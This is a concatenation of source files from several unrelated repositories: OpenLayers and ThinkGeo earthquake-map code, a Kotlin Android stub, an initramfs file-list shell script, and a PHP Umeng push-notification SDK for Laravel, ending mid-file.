var ry = Math.sqrt(2) * Math.abs(point.y - this.origin.y) / 2;
this.radius = Math.max(this.map.getResolution() / 2, ry);
} else if (this.fixedRadius) {
this.origin = point;
} else {
this.calculateAngle(point, evt);
this.radius = Math.max(this.map.getResolution() / 2,
point.distanceTo(this.origin));
}
this.modifyGeometry();
if (this.irregular) {
var dx = point.x - this.origin.x;
var dy = point.y - this.origin.y;
var ratio;
if (dy == 0) {
ratio = dx / (this.radius * Math.sqrt(2));
} else {
ratio = dx / dy;
}
this.feature.geometry.resize(1, this.origin, ratio);
this.feature.geometry.move(dx / 2, dy / 2);
}
this.layer.drawFeature(this.feature, this.style);
// if it's circle, added the drawing distance and radius
if (!this.irregular) {
var pointArray = [];
pointArray.push(this.origin);
pointArray.push(point);
if (msDrawCircleLineId != "" && this.layer.getFeatureById(msDrawCircleLineId)) {
this.layer.removeFeatures([this.layer.getFeatureById(msDrawCircleLineId)]);
}
if (msDrawCircleLabelId != "" && this.layer.getFeatureById(msDrawCircleLabelId)) {
this.layer.removeFeatures([this.layer.getFeatureById(msDrawCircleLabelId)]);
}
var radiusLine = new OpenLayers.Feature.Vector(new OpenLayers.Geometry.LineString(pointArray), null, this.style);
msDrawCircleLineId = radiusLine.id;
this.layer.addFeatures([radiusLine]);
var radiusLabelText = "";
var radiusLength = radiusLine.geometry.getGeodesicLength(this.layer.map.getProjectionObject());
var inPerDisplayUnit = OpenLayers.INCHES_PER_UNIT["mi"];
if (inPerDisplayUnit) {
var inPerMapUnit = OpenLayers.INCHES_PER_UNIT["m"];
radiusLength *= (inPerMapUnit / inPerDisplayUnit);
}
radiusLabelText = parseFloat(radiusLength).toFixed(4).toString() + 'mi';
point.distanceTo(this.origin).toString()
var radiusLabelFeature = new OpenLayers.Feature.Vector(new OpenLayers.Geometry.Point(point.x + 0.1 * this.layer.map.getExtent().getHeight(), point.y - 0.1 * this.layer.map.getExtent().getHeight()), {}, { label: radiusLabelText });
msDrawCircleLabelId = radiusLabelFeature.id;
this.layer.addFeatures([radiusLabelFeature]);
}
}
}
<file_sep>/*===========================================
Backgrounds for this sample are powered by ThinkGeo Cloud Maps and require
An API Key. These were sent to you via email when you signed up
with ThinkGeo, or you can register now at https://cloud.thinkgeo.com.
===========================================*/
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.Configuration;
using System.Linq;
using System.Web.Mvc;
using ThinkGeo.MapSuite.Drawing;
using ThinkGeo.MapSuite.Layers;
using ThinkGeo.MapSuite.Mvc;
using ThinkGeo.MapSuite.Shapes;
using ThinkGeo.MapSuite.Styles;
namespace ThinkGeo.MapSuite.EarthquakeStatistics.Controllers
{
public class DefaultController : Controller
{
public ActionResult Index()
{
// Initialize map for the page
Map map = InitializeMap();
return View(map);
}
[MapActionFilter]
public void ClearAllShapes(Map map, GeoCollection<object> args)
{
// clear the tracked shapes.
LayerOverlay trackShapeOverlay = map.CustomOverlays["TrackShapeOverlay"] as LayerOverlay;
InMemoryFeatureLayer trackShapeLayer = trackShapeOverlay.Layers["TrackShapeLayer"] as InMemoryFeatureLayer;
trackShapeLayer.InternalFeatures.Clear();
trackShapeOverlay.Redraw();
LayerOverlay queryResultMarkerOverlay = map.CustomOverlays["QueryResultMarkerOverlay"] as LayerOverlay;
// clear the queried result markers from map.
InMemoryFeatureLayer markerMemoryLayer = queryResultMarkerOverlay.Layers["MarkerMemoryLayer"] as InMemoryFeatureLayer;
markerMemoryLayer.InternalFeatures.Clear();
// clear the highlighted result markers.
InMemoryFeatureLayer markerMemoryHighLightLayer = queryResultMarkerOverlay.Layers["MarkerMemoryHighLightLayer"] as InMemoryFeatureLayer;
markerMemoryHighLightLayer.InternalFeatures.Clear();
queryResultMarkerOverlay.Redraw();
}
[MapActionFilter]
public JsonResult GetQueryingFeatures(Map map, GeoCollection<object> args)
{
string featuresInJson = string.Empty;
if (map != null)
{
Collection<EarthquakeQueryConfiguration> configurations = JsonSerializer.Deserialize<Collection<EarthquakeQueryConfiguration>>(args[0].ToString());
Collection<Feature> selectedFeatures = FilterEarthquakePoints(map, configurations);
featuresInJson = InternalHelper.ConvertFeaturesToJson(selectedFeatures);
Session["QueryConfiguration"] = configurations;
}
return Json(new { features = featuresInJson });
}
[MapActionFilter]
public JsonResult GetTrackFeatures(Map map, GeoCollection<object> args)
{
string featuresInJson = string.Empty;
if (map != null)
{
// convert wkt to thinkgeo features
Feature[] trackedFeatrues = args.Select((t) =>
{
return new Feature(t.ToString());
}).OfType<Feature>().ToArray();
// add those features into edit overlay
map.EditOverlay.Features.Clear();
foreach (Feature item in trackedFeatrues)
{
map.EditOverlay.Features.Add(item);
}
// restore other query conditions from session.
Collection<EarthquakeQueryConfiguration> queryConfigurations = new Collection<EarthquakeQueryConfiguration>();
if (Session["QueryConfiguration"] != null)
{
queryConfigurations = Session["QueryConfiguration"] as Collection<EarthquakeQueryConfiguration>;
}
Collection<Feature> selectedFeatures = FilterEarthquakePoints(map, queryConfigurations);
featuresInJson = InternalHelper.ConvertFeaturesToJson(selectedFeatures);
}
return Json(new { features = featuresInJson });
}
[MapActionFilter]
public JsonResult ZoomToFeature(Map map, GeoCollection<object> args)
{
string featureId = args[0].ToString();
LayerOverlay queryResultMarkerOverlay = map.CustomOverlays["QueryResultMarkerOverlay"] as LayerOverlay;
InMemoryFeatureLayer markerMemoryLayer = queryResultMarkerOverlay.Layers["MarkerMemoryLayer"] as InMemoryFeatureLayer;
InMemoryFeatureLayer markerMemoryHighLightLayer = queryResultMarkerOverlay.Layers["MarkerMemoryHighLightLayer"] as InMemoryFeatureLayer;
Feature currentFeature = markerMemoryLayer.InternalFeatures.FirstOrDefault(f => f.Id == featureId);
markerMemoryHighLightLayer.InternalFeatures.Clear();
markerMemoryHighLightLayer.InternalFeatures.Add(currentFeature);
PointShape center = currentFeature.GetShape() as PointShape;
return Json(new { x = center.X, y = center.Y });
}
[MapActionFilter]
public void SwitchMapType(Map map, GeoCollection<object> args)
{
if (map != null)
{
string mapType = args[0].ToString();
LayerOverlay earthquakeOverlay = map.CustomOverlays["EarthquakeOverlay"] as LayerOverlay;
foreach (Layer layer in earthquakeOverlay.Layers)
{
layer.IsVisible = false;
}
Layer selectedLayer = earthquakeOverlay.Layers[mapType];
selectedLayer.IsVisible = true;
earthquakeOverlay.Redraw();
// if Isoline layer, then display its legend.
if (mapType.Equals("IsoLines Map"))
{
map.AdornmentOverlay.Layers["IsoLineLevelLegendLayer"].IsVisible = true;
}
else
{
map.AdornmentOverlay.Layers["IsoLineLevelLegendLayer"].IsVisible = false;
}
}
}
private Map InitializeMap()
{
Map Map1 = new Map("Map1");
Map1.Width = new System.Web.UI.WebControls.Unit(100, System.Web.UI.WebControls.UnitType.Percentage);
Map1.Height = new System.Web.UI.WebControls.Unit(100, System.Web.UI.WebControls.UnitType.Percentage);
Map1.MapUnit = GeographyUnit.Meter;
Map1.ZoomLevelSet = new ThinkGeoCloudMapsZoomLevelSet();
Map1.MapTools.OverlaySwitcher.Enabled = true;
Map1.MapTools.OverlaySwitcher.BaseOverlayTitle = "ThinkGeo Cloud Maps:";
// add base layers.
AddBaseMapLayers(Map1);
// add the earthquake layer to as the data source.
AddEarthquakeLayers(Map1);
// add query shape layers, like track layer, marker layer and highlight layer etc.
AddQueryResultLayers(Map1);
// add adorment layers
AddAdormentLayers(Map1);
Map1.CurrentExtent = new RectangleShape(-14503631.6805645, 7498410.41581975, -7928840.70035357, 4171879.26511785);
Map1.OnClientTrackShapeFinished = "trackShapeFinished";
return Map1;
}
private void AddBaseMapLayers(Map Map1)
{
// Please input your ThinkGeo Cloud API Key to enable the background map.
ThinkGeoCloudRasterMapsOverlay lightMapOverlay = new ThinkGeoCloudRasterMapsOverlay("ThinkGeo Cloud API Key");
lightMapOverlay.Name = "Light";
lightMapOverlay.MapType = ThinkGeoCloudRasterMapsMapType.Light;
Map1.CustomOverlays.Add(lightMapOverlay);
ThinkGeoCloudRasterMapsOverlay darkMapOverlay = new ThinkGeoCloudRasterMapsOverlay("ThinkGeo Cloud API Key");
darkMapOverlay.Name = "Dark";
darkMapOverlay.MapType = ThinkGeoCloudRasterMapsMapType.Dark;
Map1.CustomOverlays.Add(darkMapOverlay);
ThinkGeoCloudRasterMapsOverlay aerialMapOverlay = new ThinkGeoCloudRasterMapsOverlay("ThinkGeo Cloud API Key");
aerialMapOverlay.Name = "Aerial";
aerialMapOverlay.MapType = ThinkGeoCloudRasterMapsMapType.Aerial;
Map1.CustomOverlays.Add(aerialMapOverlay);
ThinkGeoCloudRasterMapsOverlay hybridMapOverlay = new ThinkGeoCloudRasterMapsOverlay("ThinkGeo Cloud API Key");
hybridMapOverlay.Name = "Hybrid";
hybridMapOverlay.MapType = ThinkGeoCloudRasterMapsMapType.Hybrid;
Map1.CustomOverlays.Add(hybridMapOverlay);
}
private void AddEarthquakeLayers(Map Map1)
{
LayerOverlay earthquakeOverlay = new LayerOverlay("EarthquakeOverlay");
//earthquakeOverlay.TileType = TileType.SingleTile;
earthquakeOverlay.IsVisibleInOverlaySwitcher = false;
Map1.CustomOverlays.Add(earthquakeOverlay);
Proj4Projection proj4 = new Proj4Projection();
proj4.InternalProjectionParametersString = Proj4Projection.GetDecimalDegreesParametersString();
proj4.ExternalProjectionParametersString = Proj4Projection.GetSphericalMercatorParametersString();
string dataShapefileFilePath = Server.MapPath(ConfigurationManager.AppSettings["statesPathFileName"]);
EarthquakeHeatFeatureLayer heatLayer = new EarthquakeHeatFeatureLayer(new ShapeFileFeatureSource(dataShapefileFilePath));
heatLayer.HeatStyle = new HeatStyle(10, 180, "MAGNITUDE", 0, 12, 100, DistanceUnit.Kilometer);
heatLayer.FeatureSource.Projection = proj4;
earthquakeOverlay.Layers.Add("Heat Map", heatLayer);
ShapeFileFeatureLayer pointLayer = new ShapeFileFeatureLayer(dataShapefileFilePath);
pointLayer.FeatureSource.Projection = proj4;
pointLayer.ZoomLevelSet.ZoomLevel01.DefaultPointStyle = PointStyles.CreateSimpleCircleStyle(GeoColor.StandardColors.Red, 6, GeoColor.StandardColors.White, 1);
pointLayer.ZoomLevelSet.ZoomLevel01.ApplyUntilZoomLevel = ApplyUntilZoomLevel.Level20;
pointLayer.IsVisible = false;
earthquakeOverlay.Layers.Add("Regular Point Map", pointLayer);
EarthquakeIsoLineFeatureLayer isoLineLayer = new EarthquakeIsoLineFeatureLayer(new ShapeFileFeatureSource(dataShapefileFilePath));
isoLineLayer.FeatureSource.Projection = proj4;
isoLineLayer.IsVisible = false;
earthquakeOverlay.Layers.Add("IsoLines Map", isoLineLayer);
}
private void AddQueryResultLayers(Map Map1)
{
// define the track layer.
LayerOverlay trackResultOverlay = new LayerOverlay("TrackShapeOverlay");
trackResultOverlay.IsVisibleInOverlaySwitcher = false;
trackResultOverlay.TileType = TileType.SingleTile;
Map1.CustomOverlays.Add(trackResultOverlay);
InMemoryFeatureLayer trackResultLayer = new InMemoryFeatureLayer();
trackResultLayer.ZoomLevelSet.ZoomLevel01.DefaultAreaStyle = AreaStyles.CreateSimpleAreaStyle(GeoColor.FromArgb(80, GeoColor.SimpleColors.LightGreen), GeoColor.SimpleColors.White, 2);
trackResultLayer.ZoomLevelSet.ZoomLevel01.DefaultLineStyle = LineStyles.CreateSimpleLineStyle(GeoColor.SimpleColors.Orange, 2, true);
trackResultLayer.ZoomLevelSet.ZoomLevel01.DefaultPointStyle = PointStyles.CreateSimpleCircleStyle(GeoColor.SimpleColors.Orange, 10);
trackResultLayer.ZoomLevelSet.ZoomLevel01.ApplyUntilZoomLevel = ApplyUntilZoomLevel.Level20;
trackResultOverlay.Layers.Add("TrackShapeLayer", trackResultLayer);
// define the marker and highlight layer for markers.
LayerOverlay queryResultMarkerOverlay = new LayerOverlay("QueryResultMarkerOverlay");
queryResultMarkerOverlay.IsBaseOverlay = false;
queryResultMarkerOverlay.IsVisibleInOverlaySwitcher = false;
queryResultMarkerOverlay.TileType = TileType.SingleTile;
Map1.CustomOverlays.Add(queryResultMarkerOverlay);
InMemoryFeatureLayer markerMemoryLayer = new InMemoryFeatureLayer();
markerMemoryLayer.ZoomLevelSet.ZoomLevel01.DefaultPointStyle = PointStyles.CreateSimpleCircleStyle(GeoColor.SimpleColors.Gold, 8, GeoColor.SimpleColors.Orange, 1);
markerMemoryLayer.ZoomLevelSet.ZoomLevel01.ApplyUntilZoomLevel = ApplyUntilZoomLevel.Level20;
queryResultMarkerOverlay.Layers.Add("MarkerMemoryLayer", markerMemoryLayer);
InMemoryFeatureLayer markerMemoryHighLightLayer = new InMemoryFeatureLayer();
PointStyle highLightStyle = new PointStyle();
highLightStyle.CustomPointStyles.Add(PointStyles.CreateSimpleCircleStyle(GeoColor.FromArgb(50, GeoColor.SimpleColors.Blue), 20, GeoColor.SimpleColors.LightBlue, 1));
highLightStyle.CustomPointStyles.Add(PointStyles.CreateSimpleCircleStyle(GeoColor.SimpleColors.LightBlue, 9, GeoColor.SimpleColors.Blue, 1));
markerMemoryHighLightLayer.ZoomLevelSet.ZoomLevel01.DefaultPointStyle = highLightStyle;
markerMemoryHighLightLayer.ZoomLevelSet.ZoomLevel01.ApplyUntilZoomLevel = ApplyUntilZoomLevel.Level20;
queryResultMarkerOverlay.Layers.Add("MarkerMemoryHighLightLayer", markerMemoryHighLightLayer);
}
private void AddAdormentLayers(Map Map1)
{
// ScaleBar
ScaleBarAdornmentLayer scaleBarAdormentLayer = new ScaleBarAdornmentLayer();
scaleBarAdormentLayer.XOffsetInPixel = 10;
scaleBarAdormentLayer.XOffsetInPixel = 5;
scaleBarAdormentLayer.UnitFamily = UnitSystem.Metric;
Map1.AdornmentOverlay.Layers.Add("ScaleBarAdormentLayer", scaleBarAdormentLayer);
// Isoline legend adorment layer
LegendAdornmentLayer isoLevelLegendLayer = new LegendAdornmentLayer();
isoLevelLegendLayer.IsVisible = false;
isoLevelLegendLayer.Width = 85;
isoLevelLegendLayer.Height = 320;
isoLevelLegendLayer.Location = AdornmentLocation.LowerRight;
isoLevelLegendLayer.ContentResizeMode = LegendContentResizeMode.Fixed;
LegendItem legendTitle = new LegendItem();
legendTitle.TextStyle = new TextStyle("Magnitude", new GeoFont("Arial", 10), new GeoSolidBrush(GeoColor.StandardColors.Black));
legendTitle.TextLeftPadding = -20;
isoLevelLegendLayer.LegendItems.Add(legendTitle); // add legend title
// Legend items
LayerOverlay earthquakeOverlay = Map1.CustomOverlays["EarthquakeOverlay"] as LayerOverlay;
EarthquakeIsoLineFeatureLayer isolineLayer = earthquakeOverlay.Layers["IsoLines Map"] as EarthquakeIsoLineFeatureLayer;
for (int i = 0; i < isolineLayer.IsoLineLevels.Count; i++)
{
LegendItem legendItem = new LegendItem();
legendItem.TextStyle = new TextStyle(isolineLayer.IsoLineLevels[i].ToString("f2"), new GeoFont("Arial", 10), new GeoSolidBrush(GeoColor.StandardColors.Black));
legendItem.ImageStyle = isolineLayer.LevelClassBreakStyle.ClassBreaks[i].DefaultAreaStyle;
legendItem.ImageWidth = 25;
isoLevelLegendLayer.LegendItems.Add(legendItem);
}
Map1.AdornmentOverlay.Layers.Add("IsoLineLevelLegendLayer", isoLevelLegendLayer);
}
private Collection<Feature> FilterEarthquakePoints(Map Map1, Collection<EarthquakeQueryConfiguration> queryConfigurations)
{
IEnumerable<Feature> allFeatures = new Collection<Feature>();
if (Map1.EditOverlay.Features.Count > 0)
{
Feature queryFeature = Feature.Union(Map1.EditOverlay.Features);
BaseShape queryShape = queryFeature.GetShape();
FeatureLayer currentEarthquakeLayer = (Map1.CustomOverlays["EarthquakeOverlay"] as LayerOverlay).Layers[0] as FeatureLayer;
currentEarthquakeLayer.Open();
allFeatures = currentEarthquakeLayer.FeatureSource.GetFeaturesWithinDistanceOf(queryShape, Map1.MapUnit, DistanceUnit.Meter, 1, ReturningColumnsType.AllColumns);
currentEarthquakeLayer.Close();
}
// filter the feature based on the query configuration.
allFeatures = allFeatures.Where((f) =>
{
bool isIncluded = true;
foreach (EarthquakeQueryConfiguration item in queryConfigurations)
{
double columnValue = double.Parse(f.ColumnValues[item.Parameter]);
if ((columnValue > item.Maximum || columnValue < item.Minimum) && columnValue > 0) // nagetive means no record.
{
isIncluded = false;
break;
}
}
return isIncluded;
}).ToList();
// clear the original markers and add new markers.
LayerOverlay queryResultMarkerOverlay = Map1.CustomOverlays["QueryResultMarkerOverlay"] as LayerOverlay;
InMemoryFeatureLayer markerMemoryLayer = queryResultMarkerOverlay.Layers["MarkerMemoryLayer"] as InMemoryFeatureLayer;
markerMemoryLayer.InternalFeatures.Clear();
foreach (Feature item in allFeatures)
{
markerMemoryLayer.InternalFeatures.Add(item);
}
queryResultMarkerOverlay.Redraw();
LayerOverlay trackShapeOverlay = Map1.CustomOverlays["TrackShapeOverlay"] as LayerOverlay;
// clear the original track shapes and add the new shapes.
InMemoryFeatureLayer trackShapeLayer = trackShapeOverlay.Layers["TrackShapeLayer"] as InMemoryFeatureLayer;
trackShapeLayer.InternalFeatures.Clear();
foreach (Feature item in Map1.EditOverlay.Features)
{
trackShapeLayer.InternalFeatures.Add(item);
}
trackShapeOverlay.Redraw();
return new Collection<Feature>(allFeatures.ToList());
}
}
}
<file_sep># Us Earthquake Statistics Sample for Mvc
### Description
The Earthquake Statistics sample template is a statistical report system for earthquakes that have occurred in the past few years across the United States. It can help you generate infographics and analyze the severely afflicted areas, or used as supporting evidence when recommending measures to minimize the damage in future quakes.
Please refer to [Wiki](http://wiki.thinkgeo.com/wiki/map_suite_web_for_mvc) for the details.

### Requirements
This sample makes use of the following NuGet Packages
[MapSuite 10.0.0](https://www.nuget.org/packages?q=ThinkGeo)
### About the Code
```csharp
LayerOverlay earthquakeOverlay = new LayerOverlay("EarthquakeOverlay");
//earthquakeOverlay.TileType = TileType.SingleTile;
earthquakeOverlay.IsVisibleInOverlaySwitcher = false;
Map1.CustomOverlays.Add(earthquakeOverlay);
Proj4Projection proj4 = new Proj4Projection();
proj4.InternalProjectionParametersString = Proj4Projection.GetDecimalDegreesParametersString();
proj4.ExternalProjectionParametersString = Proj4Projection.GetSphericalMercatorParametersString();
string dataShapefileFilePath = Server.MapPath(ConfigurationManager.AppSettings["statesPathFileName"]);
EarthquakeHeatFeatureLayer heatLayer = new EarthquakeHeatFeatureLayer(new ShapeFileFeatureSource(dataShapefileFilePath));
heatLayer.HeatStyle = new HeatStyle(10, 180, "MAGNITUDE", 0, 12, 100, DistanceUnit.Kilometer);
heatLayer.FeatureSource.Projection = proj4;
earthquakeOverlay.Layers.Add("Heat Map", heatLayer);
ShapeFileFeatureLayer pointLayer = new ShapeFileFeatureLayer(dataShapefileFilePath);
pointLayer.FeatureSource.Projection = proj4;
pointLayer.ZoomLevelSet.ZoomLevel01.DefaultPointStyle = PointStyles.CreateSimpleCircleStyle(GeoColor.StandardColors.Red, 6, GeoColor.StandardColors.White, 1);
pointLayer.ZoomLevelSet.ZoomLevel01.ApplyUntilZoomLevel = ApplyUntilZoomLevel.Level20;
pointLayer.IsVisible = false;
earthquakeOverlay.Layers.Add("Regular Point Map", pointLayer);
EarthquakeIsoLineFeatureLayer isoLineLayer = new EarthquakeIsoLineFeatureLayer(new ShapeFileFeatureSource(dataShapefileFilePath));
isoLineLayer.FeatureSource.Projection = proj4;
isoLineLayer.IsVisible = false;
earthquakeOverlay.Layers.Add("IsoLines Map", isoLineLayer);
```
### Getting Help
[Map Suite web for Mvc Wiki Resources](http://wiki.thinkgeo.com/wiki/map_suite_web_for_mvc)
[Map Suite web for Mvc Product Description](https://thinkgeo.com/ui-controls#web-platforms)
[ThinkGeo Community Site](http://community.thinkgeo.com/)
[ThinkGeo Web Site](http://www.thinkgeo.com)
### Key APIs
This example makes use of the following APIs:
- [ThinkGeo.MapSuite.Mvc.LayerOverlay](http://wiki.thinkgeo.com/wiki/api/thinkgeo.mapsuite.mvc.layeroverlay)
- [ThinkGeo.MapSuite.Shapes.Proj4Projection](http://wiki.thinkgeo.com/wiki/api/thinkgeo.mapsuite.shapes.proj4projection)
- [ThinkGeo.MapSuite.Layers.ShapeFileFeatureLayer](http://wiki.thinkgeo.com/wiki/api/thinkgeo.mapsuite.layers.shapefilefeaturelayer)
### About Map Suite
Map Suite is a set of powerful development components and services for the .Net Framework.
### About ThinkGeo
ThinkGeo is a GIS (Geographic Information Systems) company founded in 2004 and located in Frisco, TX. Our clients are in more than 40 industries including agriculture, energy, transportation, government, engineering, software development, and defense.
<file_sep>using System.Collections.Generic;
using System.Runtime.Serialization;
using ThinkGeo.MapSuite.Shapes;
namespace ThinkGeo.MapSuite.EarthquakeStatistics
{
[DataContract]
public class JsonFeature
{
private string id;
private string wkt;
private Dictionary<string, string> values;
public JsonFeature()
{ }
public JsonFeature(Feature feature)
: this(feature.Id, feature.GetWellKnownText(), feature.ColumnValues)
{
}
public JsonFeature(string id, string wkt, Dictionary<string, string> values)
{
this.id = id;
this.wkt = wkt;
this.values = values;
}
[DataMember(Name = "id")]
public string Id
{
get { return id; }
set { id = value; }
}
[DataMember(Name = "wkt")]
public string Wkt
{
get { return wkt; }
set { wkt = value; }
}
[DataMember(Name = "values")]
public Dictionary<string, string> Values
{
get { return values; }
set { values = value; }
}
}
} | 98406724d4f116d31db4e9bbaf352bd3781638c9 | [
"JavaScript",
"C#",
"Markdown"
] | 6 | C# | ThinkGeo/UsEarthquakeStatisticsSample-ForMvc | 7a6f90c88ddfced54e24f40c39520552c7584f9f | 91e50e363cea5c95550385c0da74785862c5ba63 |
refs/heads/master | <file_sep>package com.example.finalproject_20210910
import androidx.appcompat.app.AppCompatActivity
import android.os.Bundle
import androidx.databinding.DataBindingUtil
import com.example.finalproject_20210910.databinding.ActivityMainBinding
class MainActivity : BaseActivity() {
lateinit var binding : ActivityMainBinding
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
binding = DataBindingUtil.setContentView(this, R.layout.activity_main)
setupEvent()
setValues()
}
override fun setupEvent() {
}
override fun setValues() {
}
} | d9e36ef8d0ed978b6795d9c3781ef1e2ece8d316 | [
"Kotlin"
] | 1 | Kotlin | dqwdd/FinalProject_20210910 | 8177a878cc24301854adf1ec61d3fe7fbc8f3721 | 2248b14dde6806c0d4115fd10c21c5bccccd6251 |
refs/heads/master | <repo_name>jmesmon/better-initramfs<file_sep>/gen_initramfs.sh
#! /bin/sh
if [ $# -eq 1 ]; then
SRC_ROOT=$1
elif [ $# -eq 0 ]; then
SRC_ROOT=${SRC_ROOT:-$(realpath $(dirname "$0"))}
else
echo "usage: $0 [SRC_ROOT]" >> /dev/stderr
exit 1
fi
emit_base () {
cat <<EOF
dir /dev 0755 0 0
nod /dev/console 0600 0 0 c 5 1
dir /root 0700 0 0
dir /bin 0755 0 0
dir /proc 0755 0 0
dir /sys 0755 0 0
slink /sbin /bin 0777 0 0
EOF
}
add_file () {
i_name=$1
src_name=$2
if [ $# -eq 2 ]; then
mode=0644
elif [ $# -eq 3 -a $3 = "-x" ]; then
mode=0755
fi
echo "file $i_name $src_name $mode 0 0"
}
add_link () {
link_name=$1
dest_name=$2
echo "slink $link_name $dest_name 0777 0 0"
}
emit_base
add_file /VERSION $SRC_ROOT/VERSION
add_file /functions.sh $SRC_ROOT/sourceroot/functions.sh
add_file /init $SRC_ROOT/sourceroot/init
add_file /bin/bb /bin/bb -x
add_link /bin/busybox /bin/bb
add_link /bin/sh /bin/bb
add_file /bin/cryptsetup /sbin/cryptsetup -x
add_file /bin/lvm /sbin/lvm.static -x
add_file /bin/dropbear /usr/sbin/dropbear -x
add_file /authorized_keys $SRC_ROOT/authorized_keys
| 73e5de0a4ffd20db3e358235d16e727ee71953c6 | [
"Shell"
] | 1 | Shell | jmesmon/better-initramfs | 0170b2bdeffa0aa271c43877963a0f8ad6fce56e | 34c548fe15367d97cf41c745d91295bc8352f370 |
refs/heads/master | <repo_name>yaobiao131/umsdk<file_sep>/src/service/DumpServiceProvider.php
<?php
namespace UMSdk\Service;
use Illuminate\Support\ServiceProvider;
use UMSdk\UMPushAndroid;
use UMSdk\UMPushIOS;
class DumpServiceProvider extends ServiceProvider
{
public function boot(): void
{
//发布配置文件到项目的 config 目录中
$this->publishes([
__DIR__ . '/../../config/push.php' => config_path('push.php'),
], 'config');
}
public function register()
{
// parent::register(); // TODO: Change the autogenerated stub
$this->mergeConfigFrom(__DIR__ . '/../../config/push.php', 'push');
$this->app->singleton('push.ios', function ($app)
{
return new UMPushIOS($app['config']);
});
$this->app->singleton('push.android', function ($app)
{
return new UMPushAndroid($app['config']);
});
}
public function provides()
{
// 因为延迟加载 所以要定义 provides 函数 具体参考laravel 文档
return ['push.ios','push.android'];
}
}<file_sep>/src/Facade/UMPushIOS.php
<?php
namespace UMSdk\Facade;
use Illuminate\Support\Facades\Facade;
use UMSdk\Config\IosPushBody;
/**
* @method static void sendIOSUnicast(IosPushBody $body)
* @method static void sendIOSBroadcast(IosPushBody $body)
* @see \UMSdk\UMPushIOS
*
* Class UMPushIOS
* @package UMSdk\Facade
*/
class UMPushIos extends Facade
{
protected static function getFacadeAccessor()
{
// parent::getFacadeAccessor(); // TODO: Change the autogenerated stub
return "push.ios";
}
}<file_sep>/src/Config/IosPushBody.php
<?php
namespace UMSdk\Config;
class IosPushBody
{
private $deviceTokens;
private $alert = "ios测试";
private $badge = "0";
private $sound = "chime";
private $productionMode = "false";
private $customizedField = ["" => ""];
/**
* @param string $deviceTokens
*/
public function setDeviceToken(string $deviceTokens)
{
$this->deviceTokens = $deviceTokens;
}
/**
* @return mixed
*/
public function getDeviceTokens()
{
return $this->deviceTokens;
}
/**
* @return mixed
*/
public function getAlert()
{
return $this->alert;
}
/**
* @param string $alert
*/
public function setAlert(string $alert): void
{
$this->alert = $alert;
}
/**
* @return mixed
*/
public function getBadge()
{
return $this->badge;
}
/**
* @param int $badge
*/
public function setBadge(int $badge): void
{
$this->badge = $badge;
}
/**
* @return mixed
*/
public function getSound()
{
return $this->sound;
}
/**
* @param mixed $sound
*/
public function setSound($sound): void
{
$this->sound = $sound;
}
/**
* @return mixed
*/
public function getProductionMode()
{
return $this->productionMode;
}
/**
* @param mixed $productionMode
*/
public function setProductionMode($productionMode): void
{
$this->productionMode = $productionMode;
}
/**
* @return array
*/
public function getCustomizedField(): array
{
return $this->customizedField;
}
/**
* @param array $customizedField
*/
public function setCustomizedField(array $customizedField): void
{
$this->customizedField = $customizedField;
}
}<file_sep>/README.md
## 友盟推送sdk composer版
### api同友盟官方api
<file_sep>/tests/IosTest.php
<?php
namespace UMSdk\tests;
use PHPUnit\Framework\TestCase;
class IosTest extends TestCase
{
protected $demo;
protected function setUp()
{
$this->demo = new Demo("xx", "xx");
}
public function testIOSBroadcast()
{
$this->demo->sendIOSUnicast("xx");
// $this->demo->sendIOSBroadcast();
}
}<file_sep>/src/UMPushIOS.php
<?php
namespace UMSdk;
use Illuminate\Contracts\Config\Repository;
use UMSdk\Config\IosPushBody;
use UMSdk\Ios\IOSBroadcast;
use UMSdk\Ios\IOSFilecast;
use UMSdk\Ios\IOSUnicast;
class UMPushIOS
{
protected $appkey = NULL;
protected $appMasterSecret = NULL;
protected $timestamp = NULL;
protected $config;
public function __construct(Repository $config)
{
$this->config = $config;
$this->appkey = $config->get("push.ios_app_key");
$this->appMasterSecret = $config->get("push.ios_app_secret");
$this->timestamp = strval(time());
}
/**
* 发送ios单播
* @param IosPushBody $body
*/
public function sendIOSUnicast(IosPushBody $body): void
{
try {
$unicast = new IOSUnicast();
$unicast->setAppMasterSecret($this->appMasterSecret);
$unicast->setPredefinedKeyValue("appkey", $this->appkey);
$unicast->setPredefinedKeyValue("timestamp", $this->timestamp);
// Set your device tokens here
$unicast->setPredefinedKeyValue("device_tokens", $body->getDeviceTokens());
$unicast->setPredefinedKeyValue("alert", $body->getAlert());
$unicast->setPredefinedKeyValue("badge", $body->getBadge());
$unicast->setPredefinedKeyValue("sound", $body->getSound());
// Set 'production_mode' to 'true' if your app is under production mode
$unicast->setPredefinedKeyValue("production_mode", $body->getProductionMode());
// Set customized fields
foreach ($body->getCustomizedField() as $key => $value) {
$unicast->setCustomizedField($key, $value);
}
print("Sending unicast notification, please wait...\r\n");
$unicast->send();
print("Sent SUCCESS\r\n");
} catch (\Exception $e) {
print("Caught exception: " . $e->getMessage());
}
}
/**
* ios广播消息
* @param IosPushBody $body
*/
function sendIOSBroadcast(IosPushBody $body): void
{
try {
$brocast = new IOSBroadcast();
$brocast->setAppMasterSecret($this->appMasterSecret);
$brocast->setPredefinedKeyValue("appkey", $this->appkey);
$brocast->setPredefinedKeyValue("timestamp", $this->timestamp);
$brocast->setPredefinedKeyValue("alert", $body->getAlert());
$brocast->setPredefinedKeyValue("badge", $body->getBadge());
$brocast->setPredefinedKeyValue("sound", $body->getSound());
// Set 'production_mode' to 'true' if your app is under production mode
$brocast->setPredefinedKeyValue("production_mode", $body->getProductionMode());
// Set customized fields
foreach ($body->getCustomizedField() as $key => $value) {
$brocast->setCustomizedField($key, $value);
}
print("Sending broadcast notification, please wait...\r\n");
$brocast->send();
print("Sent SUCCESS\r\n");
} catch (\Exception $e) {
print("Caught exception: " . $e->getMessage());
}
}
/**
* 发送ios文件播
* todo
*/
function sendIOSFilecast()
{
}
}<file_sep>/config/push.php
<?php
return [
"ios_app_key" => "",
"ios_app_secret" => "",
"android_app_key" => "",
"android_app_secret" => ""
];<file_sep>/src/UMPushAndroid.php
<?php
namespace UMSdk;
use Illuminate\Contracts\Config\Repository;
use UMSdk\Android\AndroidBroadcast;
use UMSdk\Android\AndroidUnicast;
use UMSdk\Config\AndroidPushBody;
class UMPushAndroid
{
protected $appkey = NULL;
protected $appMasterSecret = NULL;
protected $timestamp = NULL;
protected $config;
public function __construct(Repository $config)
{
$this->config = $config;
